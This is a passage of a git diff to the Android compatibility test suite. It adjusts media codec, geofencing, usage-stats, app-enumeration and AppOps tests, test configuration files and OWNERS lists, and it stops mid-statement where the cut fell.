--- a/tests/libcore/okhttp/MtsLibcoreOkHttpTestCases.xml
+++ b/tests/libcore/okhttp/MtsLibcoreOkHttpTestCases.xml
@@ -56,4 +56,7 @@
<!-- ART Mainline Module (external (AOSP) version). -->
<option name="mainline-module-package-name" value="com.android.art" />
</object>
+
+ <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. -->
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" />
</configuration>
diff --git a/tests/libcore/wycheproof-bc/AndroidTest.xml b/tests/libcore/wycheproof-bc/AndroidTest.xml
index b0471d01f3c..dce14b56515 100644
--- a/tests/libcore/wycheproof-bc/AndroidTest.xml
+++ b/tests/libcore/wycheproof-bc/AndroidTest.xml
@@ -52,4 +52,7 @@
<!-- ART Mainline Module (external (AOSP) version). -->
<option name="mainline-module-package-name" value="com.android.art" />
</object>
+
+ <!--- Only run tests if the device under test is SDK version 31 (Android 12) or above. -->
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" />
</configuration>
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GeofencingTest.java b/tests/location/location_fine/src/android/location/cts/fine/GeofencingTest.java
index 59c91c91341..b4b62cce647 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/GeofencingTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/GeofencingTest.java
@@ -30,6 +30,7 @@ import android.content.Intent;
import android.location.Criteria;
import android.location.LocationManager;
import android.location.cts.common.ProximityPendingIntentCapture;
+import android.os.UserManager;
import android.util.Log;
import androidx.test.core.app.ApplicationProvider;
@@ -100,6 +101,10 @@ public class GeofencingTest {
@Test
public void testAddProximityAlert() throws Exception {
+ if (isNotSystemUser()) {
+ Log.i(TAG, "Skipping test on secondary user");
+ return;
+ }
mManager.addTestProvider(FUSED_PROVIDER,
true,
false,
@@ -173,6 +178,11 @@ public class GeofencingTest {
@Test
public void testRemoveProximityAlert() throws Exception {
+ if (isNotSystemUser()) {
+ Log.i(TAG, "Skipping test on secondary user");
+ return;
+ }
+
mManager.addTestProvider(FUSED_PROVIDER,
true,
false,
@@ -206,6 +216,11 @@ public class GeofencingTest {
@Test
public void testAddProximityAlert_StartProximate() throws Exception {
+ if (isNotSystemUser()) {
+ Log.i(TAG, "Skipping test on secondary user");
+ return;
+ }
+
mManager.addTestProvider(FUSED_PROVIDER,
true,
false,
@@ -227,6 +242,11 @@ public class GeofencingTest {
@Test
public void testAddProximityAlert_Multiple() throws Exception {
+ if (isNotSystemUser()) {
+ Log.i(TAG, "Skipping test on secondary user");
+ return;
+ }
+
mManager.addTestProvider(FUSED_PROVIDER,
true,
false,
@@ -266,6 +286,11 @@ public class GeofencingTest {
@Test
public void testAddProximityAlert_Expires() throws Exception {
+ if (isNotSystemUser()) {
+ Log.i(TAG, "Skipping test on secondary user");
+ return;
+ }
+
mManager.addTestProvider(FUSED_PROVIDER,
true,
false,
@@ -288,4 +313,8 @@ public class GeofencingTest {
assertThat(capture.getNextProximityChange(FAILURE_TIMEOUT_MS)).isNull();
}
}
+
+ private boolean isNotSystemUser() {
+ return !mContext.getSystemService(UserManager.class).isSystemUser();
+ }
}
diff --git a/tests/media/OWNERS b/tests/media/OWNERS
index ad8bb0a393b..eba094cbca4 100644
--- a/tests/media/OWNERS
+++ b/tests/media/OWNERS
@@ -1,15 +1,11 @@
# Bug component: 1344
# include media developers and framework video team
include platform/frameworks/av:/media/OWNERS
-chz@google.com
dichenzhang@google.com
essick@google.com
gokrishnan@google.com
lajos@google.com
-marcone@google.com
-pawin@google.com
wonsik@google.com
-# LON
-olly@google.com
-andrewlewis@google.com
+# go/android-fwk-media-solutions for info on areas of ownership.
+include platform/frameworks/av:/media/janitors/media_solutions_OWNERS
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
index 00f91317545..bea8487519b 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
@@ -260,7 +260,13 @@ public class CodecDecoderSurfaceTest extends CodecDecoderTestBase {
assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
assertTrue(log + "no input sent", 0 != mInputCount);
assertTrue(log + "output received", 0 != mOutputCount);
- assertTrue(log + "decoder output is flaky", ref.equals(test));
+ // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
+ // produce multiple progressive frames?) For now, do not verify timestamps.
+ if (mIsInterlaced) {
+ assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
+ } else {
+ assertTrue(log + "decoder output is flaky", ref.equals(test));
+ }
/* test flush in eos state */
flushCodec();
@@ -276,7 +282,13 @@ public class CodecDecoderSurfaceTest extends CodecDecoderTestBase {
assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
assertTrue(log + "no input sent", 0 != mInputCount);
assertTrue(log + "output received", 0 != mOutputCount);
- assertTrue(log + "decoder output is flaky", ref.equals(test));
+ // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
+ // produce multiple progressive frames?) For now, do not verify timestamps.
+ if (mIsInterlaced) {
+ assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
+ } else {
+ assertTrue(log + "decoder output is flaky", ref.equals(test));
+ }
}
mCodec.release();
mExtractor.release();
@@ -351,8 +363,13 @@ public class CodecDecoderSurfaceTest extends CodecDecoderTestBase {
assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
assertTrue(log + "no input sent", 0 != mInputCount);
assertTrue(log + "output received", 0 != mOutputCount);
- assertTrue(log + "decoder output is flaky", ref.equals(test));
-
+ // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
+ // produce multiple progressive frames?) For now, do not verify timestamps.
+ if (mIsInterlaced) {
+ assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
+ } else {
+ assertTrue(log + "decoder output is flaky", ref.equals(test));
+ }
/* test reconfigure codec at eos state */
reConfigureCodec(format, !isAsync, false, false);
mCodec.start();
@@ -367,7 +384,13 @@ public class CodecDecoderSurfaceTest extends CodecDecoderTestBase {
assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
assertTrue(log + "no input sent", 0 != mInputCount);
assertTrue(log + "output received", 0 != mOutputCount);
- assertTrue(log + "decoder output is flaky", ref.equals(test));
+ // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
+ // produce multiple progressive frames?) For now, do not verify timestamps.
+ if (mIsInterlaced) {
+ assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
+ } else {
+ assertTrue(log + "decoder output is flaky", ref.equals(test));
+ }
mExtractor.release();
/* test reconfigure codec for new file */
@@ -388,7 +411,13 @@ public class CodecDecoderSurfaceTest extends CodecDecoderTestBase {
assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
assertTrue(log + "no input sent", 0 != mInputCount);
assertTrue(log + "output received", 0 != mOutputCount);
- assertTrue(log + "decoder output is flaky", configRef.equals(test));
+ // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
+ // produce multiple progressive frames?) For now, do not verify timestamps.
+ if (mIsInterlaced) {
+ assertTrue(log + "decoder output is flaky", configRef.equalsInterlaced(test));
+ } else {
+ assertTrue(log + "decoder output is flaky", configRef.equals(test));
+ }
mExtractor.release();
}
mCodec.release();
diff --git a/tests/media/src/android/mediav2/cts/CodecTestBase.java b/tests/media/src/android/mediav2/cts/CodecTestBase.java
index 7b410796782..ea542d6fd0f 100644
--- a/tests/media/src/android/mediav2/cts/CodecTestBase.java
+++ b/tests/media/src/android/mediav2/cts/CodecTestBase.java
@@ -1229,6 +1229,9 @@ class CodecDecoderTestBase extends CodecTestBase {
mOutputBuff.saveInPTS(info.presentationTimeUs);
mInputCount++;
}
+ if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+ mSawInputEOS = true;
+ }
}
void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
diff --git a/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java b/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java
index 61fe054a259..8598622cf4f 100644
--- a/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java
@@ -50,6 +50,7 @@ import static android.mediapc.cts.CodecTestBase.selectCodecs;
import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
/**
@@ -69,9 +70,6 @@ public class EncoderInitializationLatencyTest {
private static String AVC_DECODER_NAME;
private static String AVC_ENCODER_NAME;
static {
- AVC_DECODER_NAME = selectHardwareCodecs(AVC, null, null, false).get(0);
- AVC_ENCODER_NAME = selectHardwareCodecs(AVC, null, null, true).get(0);
-
if (Utils.isRPerfClass()) {
MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = 50;
MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = 65;
@@ -95,6 +93,14 @@ public class EncoderInitializationLatencyTest {
@Before
public void setUp() throws Exception {
assumeTrue("Test requires performance class.", Utils.isPerfClass());
+ ArrayList<String> listOfAvcHwDecoders = selectHardwareCodecs(AVC, null, null, false);
+ assumeFalse("Test requires h/w avc decoder", listOfAvcHwDecoders.isEmpty());
+ AVC_DECODER_NAME = listOfAvcHwDecoders.get(0);
+
+ ArrayList<String> listOfAvcHwEncoders = selectHardwareCodecs(AVC, null, null, true);
+ assumeFalse("Test requires h/w avc encoder", listOfAvcHwEncoders.isEmpty());
+ AVC_ENCODER_NAME = listOfAvcHwEncoders.get(0);
+
Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
Context context = instrumentation.getTargetContext();
PackageManager packageManager = context.getPackageManager();
diff --git a/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java b/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java
index c0f48dbcb3f..a57faf777bc 100644
--- a/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java
@@ -33,7 +33,9 @@ import java.util.Map;
import static android.mediapc.cts.CodecTestBase.selectCodecs;
import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
+import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
public class FrameDropTestBase {
@@ -69,11 +71,6 @@ public class FrameDropTestBase {
static Map<String, String> m540pTestFiles = new HashMap<>();
static Map<String, String> m1080pTestFiles = new HashMap<>();
static {
- AVC_DECODER_NAME = selectHardwareCodecs(AVC, null, null, false).get(0);
- AVC_ENCODER_NAME = selectHardwareCodecs(AVC, null, null, true).get(0);
- AAC_DECODER_NAME = selectCodecs(AAC, null, null, false).get(0);
- }
- static {
if (Utils.isSPerfClass()) {
// Two frame drops per 10 seconds at 60 fps is 6 drops per 30 seconds
MAX_FRAME_DROP_FOR_30S = 6;
@@ -111,6 +108,19 @@ public class FrameDropTestBase {
@Before
public void setUp() throws Exception {
assumeTrue("Test requires performance class.", Utils.isPerfClass());
+
+ ArrayList<String> listOfAvcHwDecoders = selectHardwareCodecs(AVC, null, null, false);
+ assumeFalse("Test requires h/w avc decoder", listOfAvcHwDecoders.isEmpty());
+ AVC_DECODER_NAME = listOfAvcHwDecoders.get(0);
+
+ ArrayList<String> listOfAvcHwEncoders = selectHardwareCodecs(AVC, null, null, true);
+ assumeFalse("Test requires h/w avc encoder", listOfAvcHwEncoders.isEmpty());
+ AVC_ENCODER_NAME = listOfAvcHwEncoders.get(0);
+
+ ArrayList<String> listOfAacDecoders = selectCodecs(AAC, null, null, false);
+ assertFalse("Test requires aac decoder", listOfAacDecoders.isEmpty());
+ AAC_DECODER_NAME = listOfAacDecoders.get(0);
+
createSurface();
startLoad();
}
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
index 80bdafe7ed6..596532b5b3d 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
@@ -53,13 +53,11 @@ public class MultiCodecPerfTestBase {
mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1280x720_3mbps_30fps_avc.mp4");
mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_1280x720_3mbps_30fps_hevc.mp4");
- // Test VP8, VP9 and AV1 as well for Build.VERSION_CODES.S
+ // Test VP9 and AV1 as well for Build.VERSION_CODES.S
if (Utils.isSPerfClass()) {
- mMimeList.add(MediaFormat.MIMETYPE_VIDEO_VP8);
mMimeList.add(MediaFormat.MIMETYPE_VIDEO_VP9);
mMimeList.add(MediaFormat.MIMETYPE_VIDEO_AV1);
- mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP8, "bbb_1280x720_3mbps_30fps_vp8.webm");
mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1280x720_3mbps_30fps_vp9.webm");
mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1280x720_3mbps_30fps_av1.mp4");
}
diff --git a/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java b/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java
index 7cefb5c2d9f..ffe85fc77d3 100644
--- a/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java
+++ b/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java
@@ -16,28 +16,14 @@
package android.signature.cts.api.test;
-import android.os.Bundle;
-import android.signature.cts.DexApiDocumentParser;
-import android.signature.cts.DexField;
import android.signature.cts.DexMember;
-import android.signature.cts.DexMemberChecker;
-import android.signature.cts.DexMethod;
-import android.signature.cts.FailureType;
-import android.signature.cts.VirtualPath;
-
-import java.io.IOException;
-import java.nio.ByteBuffer;
-import java.nio.channels.FileChannel;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.nio.file.StandardOpenOption;
-import java.util.EnumSet;
import java.util.Set;
-import java.util.function.Predicate;
-import java.util.stream.Stream;
public class HiddenApiTest extends android.signature.cts.api.HiddenApiTest {
+ /**
+ * Override to match only those members that specify both test-api and blocked.
+ */
@Override
protected boolean shouldTestMember(DexMember member) {
Set<String> flags = member.getHiddenapiFlags();
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
index 6928e384269..3b6fec978eb 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
@@ -45,7 +45,7 @@ public class HiddenApiTest extends AbstractApiTest {
@Override
protected void initializeFromArgs(Bundle instrumentationArgs) {
hiddenapiFiles = getCommaSeparatedListRequired(instrumentationArgs, "hiddenapi-files");
- hiddenapiTestFlags = getCommaSeparatedListRequired(instrumentationArgs, "hiddenapi-test-flags");
+ hiddenapiTestFlags = getCommaSeparatedListOptional(instrumentationArgs, "hiddenapi-test-flags");
hiddenapiFilterFile = instrumentationArgs.getString("hiddenapi-filter-file");
hiddenapiFilterSet = new HashSet<>();
}
@@ -165,7 +165,15 @@ public class HiddenApiTest extends AbstractApiTest {
});
}
+ /**
+ * Determines whether to test the member.
+ *
+ * @param member the member
+ * @return true if the member should be tested, false otherwise.
+ */
protected boolean shouldTestMember(DexMember member) {
+ // Test the member if it supports ANY of the flags specified in the hiddenapi-test-flags
+ // argument.
Set<String> flags = member.getHiddenapiFlags();
for (String testFlag : hiddenapiTestFlags) {
if (flags.contains(testFlag)) {
diff --git a/tests/tests/accounts/OWNERS b/tests/tests/accounts/OWNERS
index d486f4c3d90..695530b86e8 100644
--- a/tests/tests/accounts/OWNERS
+++ b/tests/tests/accounts/OWNERS
@@ -2,3 +2,4 @@
carlosvaldivia@google.com
dementyev@google.com
sandrakwan@google.com
+aseemk@google.com
diff --git a/tests/tests/app.usage/TestApp1/AndroidManifest.xml b/tests/tests/app.usage/TestApp1/AndroidManifest.xml
index 1cb7e1fe944..06ddfad4e5b 100644
--- a/tests/tests/app.usage/TestApp1/AndroidManifest.xml
+++ b/tests/tests/app.usage/TestApp1/AndroidManifest.xml
@@ -28,5 +28,12 @@
<service android:name=".TestService"
android:exported="true"
/>
+ <receiver android:name=".TestBroadcastReceiver"
+ android:exported="true"
+ />
+ <provider android:name=".TestContentProvider"
+ android:authorities="android.app.usage.cts.test1.provider"
+ android:exported="true"
+ />
</application>
</manifest>
diff --git a/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestBroadcastReceiver.java b/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestBroadcastReceiver.java
new file mode 100644
index 00000000000..cfa7e2fad7f
--- /dev/null
+++ b/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestBroadcastReceiver.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.usage.cts.test1;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public final class TestBroadcastReceiver extends BroadcastReceiver {
+ @Override
+ public void onReceive(Context context, Intent intent) {}
+}
diff --git a/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestContentProvider.java b/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestContentProvider.java
new file mode 100644
index 00000000000..8852e9bcd9a
--- /dev/null
+++ b/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestContentProvider.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.usage.cts.test1;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.database.MatrixCursor;
+import android.net.Uri;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+public final class TestContentProvider extends ContentProvider {
+
+ @Override
+ public boolean onCreate() {
+ return true;
+ }
+
+ @Nullable
+ @Override
+ public Cursor query(@NonNull Uri uri, @Nullable String[] projection, @Nullable String selection,
+ @Nullable String[] selectionArgs, @Nullable String sortOrder) {
+ MatrixCursor cursor = new MatrixCursor(new String[]{"Test"}, 0);
+ return cursor;
+ }
+
+ @Nullable
+ @Override
+ public String getType(@NonNull Uri uri) {
+ return null;
+ }
+
+ @Nullable
+ @Override
+ public Uri insert(@NonNull Uri uri, @Nullable ContentValues values) {
+ return null;
+ }
+
+ @Override
+ public int delete(@NonNull Uri uri, @Nullable String selection,
+ @Nullable String[] selectionArgs) {
+ return 0;
+ }
+
+ @Override
+ public int update(@NonNull Uri uri, @Nullable ContentValues values, @Nullable String selection,
+ @Nullable String[] selectionArgs) {
+ return 0;
+ }
+}
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index 1aa05ef3a4a..a20a8f9ee00 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -38,11 +38,15 @@ import android.app.usage.UsageEvents;
import android.app.usage.UsageEvents.Event;
import android.app.usage.UsageStats;
import android.app.usage.UsageStatsManager;
+import android.content.BroadcastReceiver;
import android.content.ComponentName;
+import android.content.ContentProviderClient;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.content.pm.PackageManager;
+import android.database.Cursor;
+import android.net.Uri;
import android.os.IBinder;
import android.os.Parcel;
import android.os.SystemClock;
@@ -83,6 +87,7 @@ import java.util.Arrays;
import java.util.List;
import java.util.Map;
import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
import java.util.function.BooleanSupplier;
@@ -123,6 +128,10 @@ public class UsageStatsTest {
= "android.app.usage.cts.test1.SomeActivityWithLocus";
private static final String TEST_APP_CLASS_SERVICE
= "android.app.usage.cts.test1.TestService";
+ private static final String TEST_APP_CLASS_BROADCAST_RECEIVER
+ = "android.app.usage.cts.test1.TestBroadcastReceiver";
+ private static final String TEST_AUTHORITY = "android.app.usage.cts.test1.provider";
+ private static final String TEST_APP_CONTENT_URI_STRING = "content://" + TEST_AUTHORITY;
private static final String TEST_APP2_PKG = "android.app.usage.cts.test2";
private static final String TEST_APP2_CLASS_FINISHING_TASK_ROOT =
"android.app.usage.cts.test2.FinishingTaskRootActivity";
@@ -274,6 +283,34 @@ public class UsageStatsTest {
verifyLastTimeAnyComponentUsedWithinRange(startTime, endTime, TEST_APP_PKG);
}
+ @AppModeFull(reason = "No usage events access in instant apps")
+ @Test
+ public void testLastTimeAnyComponentUsed_bindExplicitBroadcastReceiverShouldBeDetected()
+ throws Exception {
+ mUiDevice.wakeUp();
+ dismissKeyguard(); // also want to start out with the keyguard dismissed.
+
+ final long startTime = System.currentTimeMillis();
+ bindToTestBroadcastReceiver();
+ final long endTime = System.currentTimeMillis();
+
+ verifyLastTimeAnyComponentUsedWithinRange(startTime, endTime, TEST_APP_PKG);
+ }
+
+ @AppModeFull(reason = "No usage events access in instant apps")
+ @Test
+ public void testLastTimeAnyComponentUsed_bindContentProviderShouldBeDetected()
+ throws Exception {
+ mUiDevice.wakeUp();
+ dismissKeyguard(); // also want to start out with the keyguard dismissed.
+
+ final long startTime = System.currentTimeMillis();
+ bindToTestContentProvider();
+ final long endTime = System.currentTimeMillis();
+
+ verifyLastTimeAnyComponentUsedWithinRange(startTime, endTime, TEST_APP_PKG);
+ }
+
private void verifyLastTimeAnyComponentUsedWithinRange(
long startTime, long endTime, String targetPackage) {
final Map<String, UsageStats> map = mUsageStatsManager.queryAndAggregateUsageStats(
@@ -281,8 +318,8 @@ public class UsageStatsTest {
final UsageStats stats = map.get(targetPackage);
assertNotNull(stats);
final long lastTimeAnyComponentUsed = stats.getLastTimeAnyComponentUsed();
- assertLessThan(startTime, lastTimeAnyComponentUsed);
- assertLessThan(lastTimeAnyComponentUsed, endTime);
+ assertLessThanOrEqual(startTime, lastTimeAnyComponentUsed);
+ assertLessThanOrEqual(lastTimeAnyComponentUsed, endTime);
SystemUtil.runWithShellPermissionIdentity(()-> {
final long lastDayAnyComponentUsedGlobal =
@@ -1802,6 +1839,52 @@ public class UsageStatsTest {
return ITestReceiver.Stub.asInterface(connection.getService());
}
+ /**
+ * Send broadcast to test app's receiver and wait for it to be received.
+ */
+ private void bindToTestBroadcastReceiver() {
+ final Intent intent = new Intent().setComponent(
+ new ComponentName(TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+ CountDownLatch latch = new CountDownLatch(1);
+ mContext.sendOrderedBroadcast(
+ intent,
+ null /* receiverPermission */,
+ new BroadcastReceiver() {
+ @Override public void onReceive(Context context, Intent intent) {
+ latch.countDown();
+ }
+ },
+ null /* scheduler */,
+ Activity.RESULT_OK,
+ null /* initialData */,
+ null /* initialExtras */);
+ try {
+ assertTrue("Timed out waiting for test broadcast to be received",
+ latch.await(TIMEOUT, TimeUnit.MILLISECONDS));
+ } catch (InterruptedException e) {
+ throw new IllegalStateException("Interrupted", e);
+ }
+ }
+
+ /**
+ * Bind to the test app's content provider.
+ */
+ private void bindToTestContentProvider() throws Exception {
+ // Acquire unstable content provider so that test process isn't killed when content
+ // provider app is killed.
+ final Uri testUri = Uri.parse(TEST_APP_CONTENT_URI_STRING);
+ ContentProviderClient client =
+ mContext.getContentResolver().acquireUnstableContentProviderClient(testUri);
+ try (Cursor cursor = client.query(
+ testUri,
+ null /* projection */,
+ null /* selection */,
+ null /* selectionArgs */,
+ null /* sortOrder */)) {
+ assertNotNull(cursor);
+ }
+ }
+
private class TestServiceConnection implements ServiceConnection {
private BlockingQueue<IBinder> mBlockingQueue = new LinkedBlockingQueue<>();
diff --git a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
index 4132849ae28..0f1d10f6329 100644
--- a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
+++ b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
@@ -130,6 +130,7 @@ import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertThrows;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
import android.app.PendingIntent;
import android.appwidget.AppWidgetProviderInfo;
@@ -1010,12 +1011,18 @@ public class AppEnumerationTests {
@Test
public void queriesPackage_canSeeAppWidgetProviderTarget() throws Exception {
+ assumeTrue(InstrumentationRegistry.getInstrumentation().getContext().getPackageManager()
+ .hasSystemFeature(PackageManager.FEATURE_APP_WIDGETS));
+
assertVisible(QUERIES_PACKAGE, TARGET_APPWIDGETPROVIDER,
this::getInstalledAppWidgetProviders);
}
@Test
public void queriesNothing_cannotSeeAppWidgetProviderTarget() throws Exception {
+ assumeTrue(InstrumentationRegistry.getInstrumentation().getContext().getPackageManager()
+ .hasSystemFeature(PackageManager.FEATURE_APP_WIDGETS));
+
assertNotVisible(QUERIES_NOTHING, TARGET_APPWIDGETPROVIDER,
this::getInstalledAppWidgetProviders);
assertNotVisible(QUERIES_NOTHING, TARGET_APPWIDGETPROVIDER_SHARED_USER,
@@ -1025,6 +1032,9 @@ public class AppEnumerationTests {
@Test
public void queriesNothingSharedUser_canSeeAppWidgetProviderSharedUserTarget()
throws Exception {
+ assumeTrue(InstrumentationRegistry.getInstrumentation().getContext().getPackageManager()
+ .hasSystemFeature(PackageManager.FEATURE_APP_WIDGETS));
+
assertVisible(QUERIES_NOTHING_SHARED_USER, TARGET_APPWIDGETPROVIDER_SHARED_USER,
this::getInstalledAppWidgetProviders);
}
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
index ed6cf6df17f..e48ba00a384 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
@@ -47,6 +47,7 @@ import android.app.AppOpsManager.OPSTR_WRITE_CALENDAR
import android.content.Context
import android.content.pm.PackageManager
import android.os.Process
+import android.os.UserHandle
import android.platform.test.annotations.AppModeFull
import androidx.test.runner.AndroidJUnit4
import androidx.test.InstrumentationRegistry
@@ -138,6 +139,9 @@ class AppOpsTest {
permissionToOpStr[permission.INTERACT_ACROSS_PROFILES] =
AppOpsManager.OPSTR_INTERACT_ACROSS_PROFILES
}
+
+ val USER_SHELL_UID = UserHandle.getUid(Process.myUserHandle().identifier,
+ UserHandle.getAppId(Process.SHELL_UID))
}
@Before
@@ -257,29 +261,29 @@ class AppOpsTest {
try {
mAppOps.startOp(OPSTR_WRITE_CALENDAR, mMyUid, mOpPackageName, "firstAttribution",
null)
- assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, Process.SHELL_UID,
+ assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, USER_SHELL_UID,
SHELL_PACKAGE_NAME))
gotActive.get(TIMEOUT_MS, TimeUnit.MILLISECONDS)
mAppOps.startOp(OPSTR_WRITE_CALENDAR, Process.myUid(), mOpPackageName,
"secondAttribution", null)
- assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, Process.SHELL_UID,
+ assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, USER_SHELL_UID,
SHELL_PACKAGE_NAME))
assertFalse(gotInActive.isDone)
- mAppOps.finishOp(OPSTR_WRITE_CALENDAR, Process.SHELL_UID, SHELL_PACKAGE_NAME,
+ mAppOps.finishOp(OPSTR_WRITE_CALENDAR, USER_SHELL_UID, SHELL_PACKAGE_NAME,
"firstAttribution")
// Allow some time for premature "watchingActive" callbacks to arrive
Thread.sleep(500)
- assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, Process.SHELL_UID,
+ assertTrue(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, USER_SHELL_UID,
SHELL_PACKAGE_NAME))
assertFalse(gotInActive.isDone)
- mAppOps.finishOp(OPSTR_WRITE_CALENDAR, Process.SHELL_UID, SHELL_PACKAGE_NAME,
